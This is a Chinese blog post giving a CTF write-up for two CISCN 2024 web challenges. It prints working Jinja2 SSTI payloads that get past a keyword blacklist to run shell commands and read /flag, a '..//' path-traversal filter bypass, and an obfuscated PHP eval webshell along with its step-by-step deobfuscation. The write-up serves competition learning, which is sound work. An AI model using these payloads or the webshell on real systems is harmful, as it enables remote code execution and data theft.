ciscn2024

follycat

于 2024-12-20 20:46:08 发布

阅读量646

点赞数 15

分类专栏： CTF 文章标签：网络安全 web安全学习

本文链接：https://blog.youkuaiyun.com/2301_80148821/article/details/144619312

版权

CTF 专栏收录该内容

53 篇文章

订阅专栏

Safe_Proxy

开始就可以看到源码

自己本地搭建一个，并修改下代码，让他变成可以看到回显的ssti，先绕过黑名单再说

from flask import Flask, request, render_template_string  
import socket  
import threading  
import html  
  
app = Flask(__name__)  
  
  
@app.route('/', methods=["GET"])  
def source():  
    with open(__file__, 'r', encoding='utf-8') as f:  
        return '<pre>' + html.escape(f.read()) + '</pre>'  
  
  
@app.route('/', methods=["POST"])  
def template():  
    template_code = request.form.get("code")  
    # 安全过滤  
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']  
    for black in blacklist:  
        if black in template_code:  
            return "Forbidden content detected!"  
    result = render_template_string(template_code)  
    print(result)  
    return f'{result}' if result is not None else 'error' #这里换了，本来返回ok的，为了方便测试和写题直接换成返回值了，这样就有回显了  
  
  
class HTTPProxyHandler:  
    def __init__(self, target_host, target_port):  
        self.target_host = target_host  
        self.target_port = target_port  
  
    def handle_request(self, client_socket):  
        try:  
            request_data = b""  
            while True:  
                chunk = client_socket.recv(4096)  
                request_data += chunk  
                if len(chunk) < 4096:  
                    break  
  
            if not request_data:  
                client_socket.close()  
                return  
  
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:  
                proxy_socket.connect((self.target_host, self.target_port))  
                proxy_socket.sendall(request_data)  
  
                response_data = b""  
                while True:  
                    chunk = proxy_socket.recv(4096)  
                    if not chunk:  
                        break  
                    response_data += chunk  
  
            header_end = response_data.rfind(b"\r\n\r\n")  
            if header_end != -1:  
                body = response_data[header_end + 4:]  
            else:  
                body = response_data  
  
            response_body = body  
            response = b"HTTP/1.1 200 OK\r\n" \  
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \  
                                                                                b"Content-Type: text/html; charset=utf-8\r\n" \  
                                                                                b"\r\n" + response_body  
  
            client_socket.sendall(response)  
        except Exception as e:  
            print(f"Proxy Error: {e}")  
        finally:  
            client_socket.close()  
  
  
def start_proxy_server(host, port, target_host, target_port):  
    proxy_handler = HTTPProxyHandler(target_host, target_port)  
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    server_socket.bind((host, port))  
    server_socket.listen(100)  
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")  
  
    try:  
        while True:  
            client_socket, addr = server_socket.accept()  
            print(f"Connection from {addr}")  
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))  
            thread.daemon = True  
            thread.start()  
    except KeyboardInterrupt:  
        print("Shutting down proxy server...")  
    finally:  
        server_socket.close()  
  
  
def run_flask_app():  
    app.run(debug=False, host='127.0.0.1', port=5000)  
  
  
if __name__ == "__main__":  
    proxy_host = "0.0.0.0"  
    proxy_port = 5001  
    target_host = "127.0.0.1"  
    target_port = 5000  
  
    # 安全反代，防止针对响应头的攻击  
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))  
    proxy_thread.daemon = True  
    proxy_thread.start()  
  
    print("Starting Flask app...")  
    run_flask_app()

然后直接上fenjing梭哈本地的，就不自己构造了

![[Pasted image 20241215141943.png]]

得到payload

{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ug='so'[::-1]%}{{((g.pop[gl][bu][im](ug))['p''open']('echo f3n  j1ng;')).read()}}

然后其实本来想反弹shell的，但是弹半天不太行。。。

然后准备写文件，试了1.txt这些也不太行，其实这时候已经没有啥思路了，

但是，突然想到2023CISCN-gosession中go语言的ssti更改了python的app.py，所以app.py是可以更改的，而这个题中app.py可以直接被读取到，所以直接读取到app.py里面去就行了。

{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ug='so'[::-1]%}{{((g.pop[gl][bu][im](ug))['p''open']('ls | tee app.py')).read()}}

就是这个环境就只能用一次，有点难受

![[屏幕截图 2024-12-15 115625.png]]

{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ug='so'[::-1]%}{{((g.pop[gl][bu][im](ug))['p''open']('cat /flag | tee app.py')).read()}}

![[Pasted image 20241215143044.png]]

然后就得到flag了

hello_web

一开始试了蛮久，没找到什么有用信息，但是当访问…/…/…/flag甚至…/…/…/都为当file不输入东西的时候的界面时，可以猜测…/是不是被换掉了

尝试双重绕过，成功绕过了

/index.php?file=…//hackme.php

发现源码，

`<?php   highlight_file(__FILE__);   $lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");   $YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));   ?>`

解密题，之前做过，一般就是个一句话木马。

进行解密，一个个排出来，就可以得到密码了

<?php  
highlight_file(__FILE__);  
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";  
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";  
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");  
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};  
//echo $YwzIst; //base  
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};  
//echo $OxirhK; //strtr  
//echo "<br>";  
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};  
//echo $YpAUWC; //substr  
//echo "<br>";  
$rVkKjU=$lapUCm{7}.$lapUCm{13};  
//echo $rVkKjU; //52  
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};  
//echo $YwzIst; //base64_decode  
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));  
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";  
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));  
  
$aaa=base64_decode(strtr(substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",104),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",52,52),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",0,52)));  
  
echo $aaa;  
?>  
  
  
  
<!--$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";-->  
<!--eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));-->

<?php  
$aaa=base64_decode(strtr(substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",104),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",52,52),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",0,52)));  
  
echo $aaa;  
?>